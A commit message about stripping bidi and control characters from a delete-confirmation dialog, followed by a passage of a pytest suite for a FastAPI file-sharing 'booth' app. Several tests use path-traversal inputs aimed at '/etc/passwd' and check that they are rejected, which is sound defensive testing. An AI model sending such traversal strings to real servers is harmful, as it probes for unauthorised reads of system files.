Found by design-dev, the same class as the wipe dialog he had just fixed on the Desk, and reported across the fence rather than kept. A board row's description and URL are written by any of seventeen agent handles and were pasted RAW into the `confirm()` the operator reads before approving a delete. A bidi override (U+202E) or a newline in either re-orders or hides what he is consenting to, so the row shown is not the row removed. Escaping does nothing here and that is the trap: autoescape protects the PAGE, but `confirm` renders a plain string, so the markup defence everyone reaches for first is irrelevant to the surface that actually carries the decision. Control and bidi formatting characters now render as U+FFFD — visibly mangled, never silently re-ordered — through the same helper shape design-dev used, so the two dialogs cannot drift apart. Both arguments go through it, and the mutation row defeats exactly that: taking the raw description back for one of the two turns the test red. 763 green.
1653 lines
60 KiB
Python
1653 lines
60 KiB
Python
import os
|
||
import pathlib
|
||
import re
|
||
import time
|
||
|
||
import pytest
|
||
from fastapi.testclient import TestClient
|
||
|
||
from booth.app import (
|
||
LINKS_FILE,
|
||
PINS_FILE,
|
||
link_entry_id,
|
||
order_for_display,
|
||
parse_link_entries,
|
||
read_pins,
|
||
remove_link_entry,
|
||
toggle_pin,
|
||
booth_age_seconds,
|
||
EMBED_SCRIPT_TAG,
|
||
KEEP_MARKER,
|
||
build_gallery,
|
||
classify,
|
||
create_app,
|
||
doc_kind,
|
||
generate_pickup_id,
|
||
human_dur,
|
||
is_expired,
|
||
is_kept,
|
||
list_booths,
|
||
render_doc,
|
||
safe_upload_name,
|
||
sweep_once,
|
||
)
|
||
|
||
PICKUP_RE = re.compile(r"^(\d{1,2}-[a-z]+|[a-z]+-\d{1,2})$")
|
||
|
||
|
||
# ---- pure helpers -----------------------------------------------------------
|
||
|
||
|
||
def test_classify():
|
||
assert classify("a.PNG") == "image"
|
||
assert classify("clip.webm") == "video"
|
||
assert classify("v.mp4") == "video"
|
||
assert classify("song.mp3") == "audio"
|
||
assert classify("notes.txt") == "other"
|
||
assert classify("archive.tar.gz") == "other"
|
||
|
||
|
||
def test_human_dur():
|
||
assert human_dur(0) == "expired"
|
||
assert human_dur(-5) == "expired"
|
||
assert human_dur(30) == "<1m"
|
||
assert human_dur(90) == "1m"
|
||
assert human_dur(3600) == "1h"
|
||
assert human_dur(3660) == "1h 1m"
|
||
|
||
|
||
def _touch(path, when=None):
|
||
path.parent.mkdir(parents=True, exist_ok=True)
|
||
path.write_bytes(b"x")
|
||
if when is not None:
|
||
os.utime(path, (when, when))
|
||
|
||
|
||
def test_is_expired_uses_newest_mtime(tmp_path):
|
||
booth = tmp_path / "b"
|
||
_touch(booth / "old.png", when=time.time() - 10_000)
|
||
# freshly touched second file keeps the booth alive despite the old one
|
||
_touch(booth / "new.png")
|
||
assert not is_expired(booth, ttl_seconds=3600)
|
||
|
||
old = tmp_path / "stale"
|
||
t = time.time() - 10_000
|
||
_touch(old / "x.png", when=t)
|
||
os.utime(old, (t, t))
|
||
assert is_expired(old, ttl_seconds=3600)
|
||
|
||
|
||
def test_sweep_only_removes_expired(tmp_path):
|
||
fresh = tmp_path / "fresh"
|
||
_touch(fresh / "a.png")
|
||
old = tmp_path / "old"
|
||
t = time.time() - 10_000
|
||
_touch(old / "a.png", when=t)
|
||
os.utime(old, (t, t))
|
||
dotdir = tmp_path / ".control"
|
||
t2 = time.time() - 10_000
|
||
dotdir.mkdir()
|
||
os.utime(dotdir, (t2, t2))
|
||
|
||
wiped = sweep_once(tmp_path, ttl_seconds=3600)
|
||
|
||
assert wiped == ["old"]
|
||
assert fresh.exists()
|
||
assert not old.exists()
|
||
assert dotdir.exists() # dotfolders are never swept
|
||
|
||
|
||
def test_build_gallery_folds_caption_sidecars(tmp_path):
|
||
booth = tmp_path / "b"
|
||
_touch(booth / "a.png")
|
||
(booth / "a.txt").write_text("variant A: cudaMalloc")
|
||
_touch(booth / "b.png")
|
||
(booth / "b.png.txt").write_text("variant B: cudaMallocAsync")
|
||
_touch(booth / "loose.txt") # no media partner -> shown as its own item
|
||
|
||
items = build_gallery(booth)
|
||
by_name = {it["name"]: it for it in items}
|
||
|
||
assert by_name["a.png"]["caption"] == "variant A: cudaMalloc"
|
||
assert by_name["b.png"]["caption"] == "variant B: cudaMallocAsync"
|
||
assert "a.txt" not in by_name and "b.png.txt" not in by_name
|
||
assert "loose.txt" in by_name # a caption with nothing to caption stays visible
|
||
|
||
|
||
# ---- inline doc rendering ---------------------------------------------------
|
||
#
|
||
# .md / .txt / .log docs render INLINE in the gallery (collapsible), not as a
|
||
# clumsy link to a separate page. build_gallery pre-renders the content so the
|
||
# template stays logicless.
|
||
|
||
|
||
def test_build_gallery_prerenders_markdown_inline(tmp_path):
|
||
booth = tmp_path / "b"
|
||
booth.mkdir()
|
||
(booth / "report.md").write_text("# Title\n\nsome **bold** text\n")
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "report.md")
|
||
|
||
assert it["doc"] == "markdown"
|
||
assert it["rendered_html"] is True
|
||
assert "<h1>Title</h1>" in it["rendered"]
|
||
assert "<strong>bold</strong>" in it["rendered"]
|
||
|
||
|
||
def test_build_gallery_prerenders_text_as_raw(tmp_path):
|
||
booth = tmp_path / "b"
|
||
booth.mkdir()
|
||
(booth / "notes.txt").write_text("plain <not html> line")
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "notes.txt")
|
||
|
||
assert it["doc"] == "text"
|
||
assert it["rendered_html"] is False
|
||
# Raw text is NOT pre-escaped here — the template escapes it inside <pre>.
|
||
# Pre-escaping plus template autoescape would double-encode the angle brackets.
|
||
assert it["rendered"] == "plain <not html> line"
|
||
|
||
|
||
def test_build_gallery_oversize_doc_is_not_inlined(tmp_path):
|
||
booth = tmp_path / "b"
|
||
booth.mkdir()
|
||
big = "x" * (2 * 1024 * 1024 + 10) # over DOC_MAX_BYTES
|
||
(booth / "huge.log").write_text(big)
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "huge.log")
|
||
|
||
assert it["doc"] == "text"
|
||
assert it["rendered"] is None # too big to inline; template falls back to a link
|
||
|
||
|
||
def test_non_doc_item_has_no_rendered_field(tmp_path):
|
||
booth = tmp_path / "b"
|
||
_touch(booth / "shot.png")
|
||
|
||
it = next(i for i in build_gallery(booth) if i["name"] == "shot.png")
|
||
|
||
assert it["doc"] is None
|
||
assert it["rendered"] is None
|
||
|
||
|
||
def test_booth_page_renders_markdown_inline_collapsible(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
(data / "run1" / "brief.md").write_text("# Heading\n\nbody line\n")
|
||
|
||
html = c.get("/b/run1/").text
|
||
|
||
# rendered inline, inside a native <details> disclosure — no navigation
|
||
assert "<details" in html
|
||
assert "<h1>Heading</h1>" in html
|
||
# and the raw-file link is still available for download / full view
|
||
assert "brief.md" in html
|
||
|
||
|
||
def test_booth_page_inlines_txt_without_double_escaping(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
(data / "run1" / "log.txt").write_text("value <x> & <y>")
|
||
|
||
html = c.get("/b/run1/").text
|
||
|
||
# exactly one level of HTML-escaping (template autoescape inside <pre>),
|
||
# not the double-encoding that pre-escaping in Python would produce
|
||
assert "value <x> & <y>" in html
|
||
assert "&lt;" not in html
|
||
|
||
|
||
# ---- HTTP surface -----------------------------------------------------------
|
||
|
||
|
||
@pytest.fixture
|
||
def client(tmp_path):
|
||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||
return TestClient(app), tmp_path
|
||
|
||
|
||
def test_index_empty(client):
|
||
c, _ = client
|
||
r = c.get("/")
|
||
assert r.status_code == 200
|
||
assert "No booths yet" in r.text
|
||
|
||
|
||
def test_index_lists_booth(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.get("/")
|
||
assert r.status_code == 200
|
||
assert "run1" in r.text
|
||
|
||
|
||
def test_booth_autogallery_renders_media(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "shot.png")
|
||
r = c.get("/b/run1/")
|
||
assert r.status_code == 200
|
||
assert "<img" in r.text
|
||
assert "shot.png" in r.text
|
||
|
||
|
||
def test_booth_serves_own_index_html(client):
|
||
c, data = client
|
||
d = data / "custom"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<h1>MY CUSTOM REPORT</h1>")
|
||
r = c.get("/b/custom/")
|
||
assert r.status_code == 200
|
||
assert "MY CUSTOM REPORT" in r.text
|
||
|
||
|
||
def test_booth_serves_file(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
(data / "run1" / "a.bin").write_bytes(b"\x00\x01payload")
|
||
r = c.get("/b/run1/a.bin")
|
||
assert r.status_code == 200
|
||
assert r.content == b"\x00\x01payload"
|
||
|
||
|
||
def test_booth_zip_download(client):
|
||
# a verbatim index.html booth (no per-file chrome) is still downloadable as a zip
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<h1>BRIEF</h1>")
|
||
(d / "notes.md").write_text("# notes")
|
||
r = c.get("/b/brief/?download=1")
|
||
assert r.status_code == 200
|
||
assert r.headers["content-type"] == "application/zip"
|
||
assert "attachment" in r.headers["content-disposition"]
|
||
assert "brief.zip" in r.headers["content-disposition"]
|
||
import io as _io
|
||
import zipfile as _zip
|
||
assert set(_zip.ZipFile(_io.BytesIO(r.content)).namelist()) == {"index.html", "notes.md"}
|
||
|
||
|
||
def test_booth_file_force_download(client):
|
||
# ?dl=1 forces attachment so html/md/text saves instead of rendering inline
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<h1>BRIEF</h1>")
|
||
r = c.get("/b/brief/index.html")
|
||
assert "attachment" not in r.headers.get("content-disposition", "")
|
||
r2 = c.get("/b/brief/index.html?dl=1")
|
||
assert r2.status_code == 200
|
||
assert "attachment" in r2.headers["content-disposition"]
|
||
assert "index.html" in r2.headers["content-disposition"]
|
||
|
||
|
||
def test_missing_booth_404(client):
|
||
c, _ = client
|
||
assert c.get("/b/nope/").status_code == 404
|
||
|
||
|
||
def test_traversal_rejected(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
# a name with a slash or .. can never resolve to a direct child
|
||
assert c.get("/b/..%2f..%2fetc/").status_code == 404
|
||
assert c.get("/b/run1/../../../etc/passwd").status_code == 404
|
||
|
||
|
||
def test_delete_form_wipes(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.post("/b/run1/delete", follow_redirects=False)
|
||
assert r.status_code == 303
|
||
assert not (data / "run1").exists()
|
||
|
||
|
||
def test_delete_api_wipes(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.request("DELETE", "/b/run1")
|
||
assert r.status_code == 200
|
||
assert r.json() == {"wiped": "run1"}
|
||
assert not (data / "run1").exists()
|
||
|
||
|
||
def test_healthz(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
r = c.get("/healthz")
|
||
assert r.status_code == 200
|
||
body = r.json()
|
||
assert body["ok"] is True and body["booths"] == 1
|
||
|
||
|
||
# ---- uploads / pickup -------------------------------------------------------
|
||
|
||
|
||
def test_generate_pickup_id_format():
|
||
for _ in range(100):
|
||
pid = generate_pickup_id(lambda n: False)
|
||
assert PICKUP_RE.match(pid), pid
|
||
|
||
|
||
def test_generate_pickup_id_avoids_collision():
|
||
taken = {"4-wombat", "star-84"}
|
||
for _ in range(50):
|
||
pid = generate_pickup_id(lambda n: n in taken)
|
||
assert pid not in taken
|
||
|
||
|
||
def test_safe_upload_name():
|
||
assert safe_upload_name("../../etc/passwd", "fb") == "passwd"
|
||
assert safe_upload_name("C:\\Users\\x\\shot.png", "fb") == "shot.png"
|
||
assert safe_upload_name("", "fb") == "fb"
|
||
assert safe_upload_name(" ", "fb") == "fb"
|
||
assert safe_upload_name(".hidden", "fb") == "hidden"
|
||
assert safe_upload_name("...", "fb") == "fb"
|
||
|
||
|
||
def _upload(client, files):
|
||
return client.post("/upload", files=files, follow_redirects=False)
|
||
|
||
|
||
def test_upload_creates_pickup_booth(client):
|
||
c, data = client
|
||
r = _upload(c, [
|
||
("files", ("a.png", b"\x89PNG\r\n\x1a\n" + b"0" * 20, "image/png")),
|
||
("files", ("notes.txt", b"pick me up", "text/plain")),
|
||
])
|
||
assert r.status_code == 303
|
||
loc = r.headers["location"]
|
||
pid = loc.split("/b/")[1].rstrip("/")
|
||
assert PICKUP_RE.match(pid), pid
|
||
booth = data / pid
|
||
assert (booth / "a.png").is_file()
|
||
assert (booth / "notes.txt").read_bytes() == b"pick me up"
|
||
assert (booth / ".uploaded").is_file() # marker present
|
||
|
||
|
||
def test_upload_booth_renders_pickup_ui(client):
|
||
c, data = client
|
||
r = _upload(c, [("files", ("shot.png", b"\x89PNG" + b"0" * 30, "image/png"))])
|
||
pid = r.headers["location"].split("/b/")[1].rstrip("/")
|
||
page = c.get(f"/b/{pid}/")
|
||
assert page.status_code == 200
|
||
assert "pickup" in page.text.lower() # badge / note
|
||
assert 'download' in page.text # per-item download link
|
||
# and it shows up flagged as an upload on the index
|
||
assert pid in c.get("/").text
|
||
|
||
|
||
def test_upload_sanitizes_traversal(client):
|
||
c, data = client
|
||
r = _upload(c, [("files", ("../../../etc/passwd", b"x", "text/plain"))])
|
||
pid = r.headers["location"].split("/b/")[1].rstrip("/")
|
||
booth = data / pid
|
||
assert (booth / "passwd").is_file() # basename only
|
||
assert not (data.parent / "passwd").exists() # nothing escaped upward
|
||
|
||
|
||
def test_upload_rejects_too_many_files(tmp_path):
|
||
app = create_app(tmp_path, start_sweeper=False, max_files=2)
|
||
c = TestClient(app)
|
||
files = [("files", (f"f{i}.txt", b"x", "text/plain")) for i in range(3)]
|
||
r = c.post("/upload", files=files, follow_redirects=False)
|
||
assert r.status_code == 413
|
||
# no partial booth left behind
|
||
assert list(tmp_path.iterdir()) == []
|
||
|
||
|
||
def test_upload_rejects_too_large(tmp_path):
|
||
app = create_app(tmp_path, start_sweeper=False, max_upload_mb=0.0001) # ~104 bytes
|
||
c = TestClient(app)
|
||
r = c.post(
|
||
"/upload",
|
||
files=[("files", ("big.bin", b"0" * 500, "application/octet-stream"))],
|
||
follow_redirects=False,
|
||
)
|
||
assert r.status_code == 413
|
||
assert list(tmp_path.iterdir()) == [] # partial write cleaned up
|
||
|
||
|
||
def test_upload_dedupes_repeated_names(client):
|
||
c, data = client
|
||
r = _upload(c, [
|
||
("files", ("shot.png", b"a" * 10, "image/png")),
|
||
("files", ("shot.png", b"b" * 10, "image/png")),
|
||
])
|
||
pid = r.headers["location"].split("/b/")[1].rstrip("/")
|
||
names = sorted(p.name for p in (data / pid).iterdir() if not p.name.startswith("."))
|
||
assert names == ["shot-1.png", "shot.png"]
|
||
|
||
|
||
# ---- image viewer -----------------------------------------------------------
|
||
|
||
|
||
def test_image_view_renders(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "shot.png")
|
||
r = c.get("/b/run1/view", params={"f": "shot.png"})
|
||
assert r.status_code == 200
|
||
assert 'id="vstage"' in r.text # the viewer stage
|
||
assert ">Fit<" in r.text and ">1:1<" in r.text
|
||
assert "shot.png" in r.text
|
||
|
||
|
||
def test_gallery_image_links_to_viewer(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "shot.png")
|
||
page = c.get("/b/run1/")
|
||
assert "view?f=shot.png" in page.text # gallery routes images to the viewer, not the raw file
|
||
|
||
|
||
def test_image_view_missing_404(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
assert c.get("/b/run1/view", params={"f": "nope.png"}).status_code == 404
|
||
|
||
|
||
def test_image_view_traversal_404(client):
|
||
c, data = client
|
||
(data / "run1").mkdir()
|
||
assert c.get("/b/run1/view", params={"f": "../../etc/passwd"}).status_code == 404
|
||
|
||
|
||
def test_view_nonviewable_redirects_to_raw(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "data.bin") # not image/md/txt -> nothing to render, hand back raw
|
||
r = c.get("/b/run1/view", params={"f": "data.bin"}, follow_redirects=False)
|
||
assert r.status_code == 307
|
||
assert r.headers["location"] == "/b/run1/data.bin"
|
||
|
||
|
||
# ---- verbatim-index.html serving -------------------------------------------
|
||
#
|
||
# U3 replaced the injection wrapper with a declared seam. The five `test_wrap_*`
|
||
# tests and `test_verbatim_booth_wrapped_with_back_chip` that stood here tested
|
||
# `wrap_verbatim_html` — six regexes hunting a head-ish seam for a favicon and a
|
||
# body-ish seam for a chip, plus the doctype and charset-window constraints they
|
||
# threaded. None of those constraints can be violated by an append, so there is
|
||
# nothing left of them to assert. What replaced them lives in tests/test_embed.py
|
||
# (the payload, the one appended tag, whole-body equality for a declaring page)
|
||
# and tests/test_embed_browser.py (the mount, in a real DOM).
|
||
#
|
||
# What stays here is what did NOT change: the file route is still raw.
|
||
|
||
|
||
def test_verbatim_booth_is_served_with_the_seam(client):
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<html><head></head><body><h1>BRIEF</h1></body></html>")
|
||
r = c.get("/b/brief/")
|
||
assert r.status_code == 200
|
||
assert "BRIEF" in r.text # content preserved
|
||
assert r.text.endswith(EMBED_SCRIPT_TAG) # ...and the seam, appended
|
||
|
||
|
||
def test_verbatim_index_raw_file_route_unwrapped(client):
|
||
# the file route (/b/<name>/index.html) still serves the raw bytes — the seam
|
||
# only rides on the booth view (/b/<name>/), so downloads/assets stay verbatim
|
||
c, data = client
|
||
d = data / "brief"
|
||
d.mkdir()
|
||
(d / "index.html").write_text("<html><body><h1>BRIEF</h1></body></html>")
|
||
r = c.get("/b/brief/index.html")
|
||
assert r.status_code == 200
|
||
assert "_booth/embed.js" not in r.text
|
||
|
||
|
||
# ---- .md / .txt in-booth doc viewer -----------------------------------------
|
||
|
||
|
||
def test_doc_kind():
|
||
assert doc_kind("notes.md") == "markdown"
|
||
assert doc_kind("a.markdown") == "markdown"
|
||
assert doc_kind("log.txt") == "text"
|
||
assert doc_kind("run.log") == "text"
|
||
assert doc_kind("shot.png") is None
|
||
assert doc_kind("data.bin") is None
|
||
|
||
|
||
def test_render_doc_markdown():
|
||
html, is_html = render_doc("# Title\n\n- a\n- b\n", "markdown")
|
||
assert is_html is True
|
||
assert "<h1>" in html and "Title" in html
|
||
assert "<li>" in html
|
||
|
||
|
||
def test_render_doc_text_is_verbatim():
|
||
body, is_html = render_doc("plain\ntext", "text")
|
||
assert is_html is False and body == "plain\ntext"
|
||
|
||
|
||
def test_view_markdown_renders(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
(d / "notes.md").write_text("# Heading\n\nsome **bold** text\n")
|
||
r = c.get("/b/run1/view", params={"f": "notes.md"})
|
||
assert r.status_code == 200
|
||
assert "<h1>" in r.text and "Heading" in r.text # rendered, not raw markdown
|
||
assert "<strong>bold</strong>" in r.text
|
||
assert "attachment" not in r.headers.get("content-disposition", "") # viewed, not downloaded
|
||
|
||
|
||
def test_view_text_shows_preformatted(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
(d / "out.txt").write_text("line one\nline two")
|
||
r = c.get("/b/run1/view", params={"f": "out.txt"})
|
||
assert r.status_code == 200
|
||
assert "<pre" in r.text and "line one" in r.text
|
||
assert "attachment" not in r.headers.get("content-disposition", "")
|
||
|
||
|
||
def test_gallery_inlines_docs_with_fullpage_and_download_affordances(client):
|
||
# Docs now render INLINE in the gallery (see the inline-doc tests above),
|
||
# not as a link. The full-page viewer stays reachable via the ⤢ affordance,
|
||
# and the raw file via a download link — but the doc content itself is on
|
||
# the page, not behind a click.
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
(d / "readme.md").write_text("# hi")
|
||
(d / "notes.txt").write_text("hello") # loose txt (no media partner) -> own item
|
||
page = c.get("/b/run1/").text
|
||
assert "<h1>hi</h1>" in page # md rendered inline
|
||
assert "hello" in page # txt shown inline
|
||
assert "view?f=readme.md" in page # full-page viewer still linked (⤢)
|
||
assert 'href="readme.md" download' in page # download affordance present
|
||
|
||
|
||
# ---- image viewer prev/next nav ---------------------------------------------
|
||
|
||
|
||
def test_view_image_prev_next_nav(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
for n in ("a.png", "b.png", "c.png"):
|
||
_touch(d / n)
|
||
r = c.get("/b/run1/view", params={"f": "b.png"}) # middle -> prev=a, next=c
|
||
assert r.status_code == 200
|
||
assert 'class="vnav vprev" href="?f=a.png"' in r.text
|
||
assert 'class="vnav vnext" href="?f=c.png"' in r.text
|
||
|
||
|
||
def test_view_image_nav_wraps(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
for n in ("a.png", "b.png", "c.png"):
|
||
_touch(d / n)
|
||
first = c.get("/b/run1/view", params={"f": "a.png"}).text
|
||
assert 'vprev" href="?f=c.png"' in first and 'vnext" href="?f=b.png"' in first # first wraps prev->last
|
||
last = c.get("/b/run1/view", params={"f": "c.png"}).text
|
||
assert 'vnext" href="?f=a.png"' in last and 'vprev" href="?f=b.png"' in last # last wraps next->first
|
||
|
||
|
||
def test_view_single_image_no_nav(client):
|
||
c, data = client
|
||
d = data / "run1"; d.mkdir()
|
||
_touch(d / "only.png")
|
||
r = c.get("/b/run1/view", params={"f": "only.png"})
|
||
assert r.status_code == 200
|
||
# no arrow anchors with a single image (the .vnav CSS rule is always present)
|
||
assert 'class="vnav vprev"' not in r.text and 'class="vnav vnext"' not in r.text
|
||
|
||
|
||
# ---- kept booths: the `.forever` sentinel -----------------------------------
|
||
#
|
||
# The Booth's whole contract is "wiped 24h after last activity". A kept booth is
|
||
# the deliberate exception: an operator-facing board (agent-posted links, a
|
||
# standing report) that must outlive the sweep and stay separated from the
|
||
# ephemeral traffic so it does not get lost in it.
|
||
|
||
|
||
def _stale(path, seconds=10_000):
|
||
"""Age a booth and everything in it well past any test TTL."""
|
||
t = time.time() - seconds
|
||
for p in sorted(path.rglob("*"), reverse=True):
|
||
os.utime(p, (t, t))
|
||
os.utime(path, (t, t))
|
||
|
||
|
||
def test_is_kept_detects_the_sentinel(tmp_path):
|
||
plain = tmp_path / "plain"
|
||
plain.mkdir()
|
||
kept = tmp_path / "kept"
|
||
_touch(kept / KEEP_MARKER)
|
||
|
||
assert not is_kept(plain)
|
||
assert is_kept(kept)
|
||
|
||
|
||
def test_kept_booth_survives_the_sweep(tmp_path):
|
||
"""The point of the whole feature: expiry does not apply to a kept booth."""
|
||
doomed = tmp_path / "doomed"
|
||
_touch(doomed / "a.png")
|
||
_stale(doomed)
|
||
|
||
kept = tmp_path / "links"
|
||
_touch(kept / "a.png")
|
||
_touch(kept / KEEP_MARKER)
|
||
_stale(kept)
|
||
|
||
wiped = sweep_once(tmp_path, ttl_seconds=3600)
|
||
|
||
assert wiped == ["doomed"]
|
||
assert not doomed.exists()
|
||
assert kept.exists(), "a booth carrying the sentinel must never be swept"
|
||
|
||
|
||
def test_kept_booth_is_still_reported_expired_by_age(tmp_path):
|
||
"""is_expired stays a pure age question; only the sweeper honours the pin.
|
||
|
||
Keeping these separate means `expires_in` arithmetic and the reaper policy
|
||
cannot drift into each other.
|
||
"""
|
||
kept = tmp_path / "links"
|
||
_touch(kept / KEEP_MARKER)
|
||
_stale(kept)
|
||
|
||
assert is_expired(kept, ttl_seconds=3600)
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == []
|
||
|
||
|
||
def test_list_booths_flags_kept(tmp_path):
|
||
_touch(tmp_path / "ephemeral" / "a.png")
|
||
_touch(tmp_path / "links" / "a.png")
|
||
_touch(tmp_path / "links" / KEEP_MARKER)
|
||
|
||
by_name = {b["name"]: b for b in list_booths(tmp_path, ttl_seconds=3600)}
|
||
|
||
assert by_name["ephemeral"]["kept"] is False
|
||
assert by_name["links"]["kept"] is True
|
||
|
||
|
||
# ---- releasing a kept board so it can be deleted ---------------------------
|
||
#
|
||
# The kept lane deliberately has no wipe control: destroying a durable board
|
||
# should not be one misclick. But "deliberate" had been implemented as
|
||
# "impossible from the UI" — the only routes out were ssh or a hand-crafted
|
||
# API call. These endpoints make the documented workflow (drop the sentinel,
|
||
# the board rejoins the sweep, then wipe it like anything else) actually
|
||
# reachable, while keeping it two deliberate steps rather than one.
|
||
|
||
|
||
def test_unkeep_releases_a_kept_board(client):
|
||
c, data = client
|
||
_touch(data / "links" / "a.png")
|
||
_touch(data / "links" / KEEP_MARKER)
|
||
|
||
r = c.post("/b/links/unkeep", follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert not is_kept(data / "links"), "the sentinel must be gone"
|
||
assert (data / "links" / "a.png").exists(), "unkeep must not touch content"
|
||
|
||
|
||
def test_unkeep_is_idempotent_on_an_unkept_board(client):
|
||
"""Releasing something already released is a no-op, not a 500."""
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
|
||
r = c.post("/b/run1/unkeep", follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert (data / "run1" / "a.png").exists()
|
||
|
||
|
||
def test_keep_pins_a_board_and_round_trips(client):
|
||
"""Reversible: the release step must not be a one-way door."""
|
||
c, data = client
|
||
_touch(data / "board" / "a.png")
|
||
|
||
assert c.post("/b/board/keep", follow_redirects=False).status_code == 303
|
||
assert is_kept(data / "board")
|
||
|
||
assert c.post("/b/board/unkeep", follow_redirects=False).status_code == 303
|
||
assert not is_kept(data / "board")
|
||
|
||
|
||
def test_keep_and_unkeep_go_through_the_same_name_guard(client):
|
||
"""Both mutating routes must use resolve_booth, not raw path joining.
|
||
|
||
A name containing a slash never reaches the handler at all (the router has
|
||
no matching path), so the interesting cases are the ones that DO reach it:
|
||
a dotfile name and a name that simply is not a booth. Both must 404 rather
|
||
than create a stray sentinel somewhere.
|
||
"""
|
||
c, data = client
|
||
for route in ("keep", "unkeep"):
|
||
assert c.post(f"/b/.hidden/{route}").status_code == 404
|
||
assert c.post(f"/b/nope/{route}").status_code == 404
|
||
assert not (data / ".hidden").exists(), "must not have created anything"
|
||
assert list(data.iterdir()) == [], "data dir untouched by rejected calls"
|
||
|
||
|
||
def test_releasing_a_board_RESETS_its_ttl_clock(tmp_path):
|
||
"""Counter-intuitive, and the reason release-then-sweep is not a delete path.
|
||
|
||
Removing the sentinel bumps the booth directory's mtime, and age is the
|
||
newest mtime in the tree — so a board that was 10,000s stale reads as 0s
|
||
old the instant it is released, and survives another full TTL. This test
|
||
pins that behaviour deliberately: anyone who "unkeeps and waits" is waiting
|
||
a fresh 24h, not reaping something already expired. Delete via the wipe
|
||
route instead, which release is what unlocks.
|
||
"""
|
||
kept = tmp_path / "links"
|
||
_touch(kept / "a.png")
|
||
_touch(kept / KEEP_MARKER)
|
||
_stale(kept)
|
||
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == [], "pinned: exempt"
|
||
assert booth_age_seconds(kept) > 3600
|
||
|
||
(kept / KEEP_MARKER).unlink()
|
||
|
||
# Unlinking the sentinel by hand, which is what this test is about: the
|
||
# directory-entry change is what moves the clock. Releasing through the
|
||
# ROUTE now also records a view, so the behaviour is stated rather than
|
||
# incidental — `test_releasing_a_board_RECORDS_A_VIEW` in test_lifetime.py.
|
||
assert booth_age_seconds(kept) < 60, "unlink bumped the dir mtime"
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == [], "so it is NOT swept yet"
|
||
assert kept.exists()
|
||
|
||
|
||
def test_released_board_is_sweepable_once_it_ages_again(tmp_path):
|
||
"""It does rejoin the sweep — just on a fresh clock, not the old one."""
|
||
released = tmp_path / "links"
|
||
_touch(released / "a.png")
|
||
|
||
_stale(released)
|
||
|
||
assert sweep_once(tmp_path, ttl_seconds=3600) == ["links"]
|
||
assert not released.exists()
|
||
|
||
|
||
def test_sentinel_is_not_counted_as_an_item(tmp_path):
|
||
"""It is a dotfile, so it must not inflate the item count or become a tile."""
|
||
_touch(tmp_path / "links" / "a.png")
|
||
_touch(tmp_path / "links" / KEEP_MARKER)
|
||
|
||
booth = next(b for b in list_booths(tmp_path, ttl_seconds=3600) if b["name"] == "links")
|
||
|
||
assert booth["count"] == 1
|
||
|
||
|
||
def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
|
||
"""R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
|
||
This test used to require a kept LANE rendered before the ephemeral grid.
|
||
The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
|
||
nothing — and orders by what needs the operator instead (tested in
|
||
tests/test_flow.py). What survives is the fact: a kept booth still says it
|
||
is kept, on its own row."""
|
||
c, data = client
|
||
_touch(data / "scratch" / "a.png")
|
||
_touch(data / "links" / "a.png")
|
||
_touch(data / "links" / KEEP_MARKER)
|
||
|
||
html = c.get("/").text
|
||
|
||
assert 'data-booth="links" data-kept="1"' in html
|
||
assert 'data-booth="scratch" data-kept="0"' in html
|
||
assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"
|
||
|
||
|
||
def test_kept_booth_shows_kept_instead_of_a_countdown(client):
|
||
c, data = client
|
||
_touch(data / "links" / "a.png")
|
||
_touch(data / "links" / KEEP_MARKER)
|
||
|
||
html = c.get("/").text
|
||
|
||
assert "expires in" not in html, "a kept booth has no expiry to advertise"
|
||
|
||
|
||
def test_index_without_kept_booths_omits_the_lane(client):
|
||
c, data = client
|
||
_touch(data / "scratch" / "a.png")
|
||
|
||
html = c.get("/").text
|
||
|
||
# The full attribute form, because the bare class names also appear in the
|
||
# inlined stylesheet that ships on every page.
|
||
assert 'class="grid kept-grid"' not in html, "the lane must not render when nothing is kept"
|
||
assert 'class="card card-kept"' not in html
|
||
|
||
|
||
# ---- the standing link board: per-entry removal -----------------------------
|
||
#
|
||
# The link board is the one MULTI-WRITER booth: every agent session appends to
|
||
# it. "Delete the folder" is the wrong granularity for a dead link, and until
|
||
# now it was the only option short of hand-editing the markdown.
|
||
|
||
